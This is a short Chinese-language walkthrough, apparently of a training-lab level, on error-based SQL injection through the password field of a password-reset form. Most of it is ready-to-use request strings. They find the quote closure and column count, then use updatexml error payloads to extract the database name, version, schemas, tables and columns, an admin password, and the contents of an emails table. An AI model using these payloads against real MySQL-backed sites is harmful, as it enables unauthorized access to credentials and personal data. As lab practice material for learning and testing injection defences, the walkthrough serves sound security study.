密码重置报错植入
来到首页面我们看到页面提示【password reset】,说明这是更改密码的注入,也就是说我们知道一个账户名,修改他的密码,所以我们可以在passwd处进行注入。
闭合方式
添加单引号
有报错
可以知道闭合方式为单引号
查询数据库名,版本等
构造
uname=admin&passwd=1’ order by 2 --+ &Submit=Submit
确定列数为2
uname=admin&passwd=1’ and updatexml(1,concat(‘~’,(database())),3) #&Submit=Submit
得到数据库名security
uname=admin&passwd=1’ and updatexml(1,concat(‘~’,(version())),3) #&Submit=Submit
版本
爆数据
数据库
- uname=admin&passwd=1’ and updatexml(1,concat(‘~’,substring((select group_concat(schema_name) from information_schema.schemata),1,30)),3) #&Submit=Submit
只需要修改substring函数参数的值就可以得到所有数据库名
表名
- uname=admin&passwd=1’ and updatexml(1,concat(‘~’,substring((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,30)),3) #&Submit=Submit
方法同上
列名
uname=admin&passwd=1’ and updatexml(1,concat(‘~’,substring((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’),1,30)),3) #&Submit=Submit
数据
- uname=admin&passwd=1’ and updatexml(1,concat(‘~’,(select password from (select password from users where username=‘admin’) b)),3) #&Submit=Submit
爆密码该格式针对mysql数据库。
但可以爆其他表
uname=admin&passwd=1’ and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name =‘emails’),0x5c),1))#
列
uname=admin&passwd=1’ and (updatexml (1,concat(0x5c,(select group_concat(id,email_id) from emails),0x5c),1))#
内容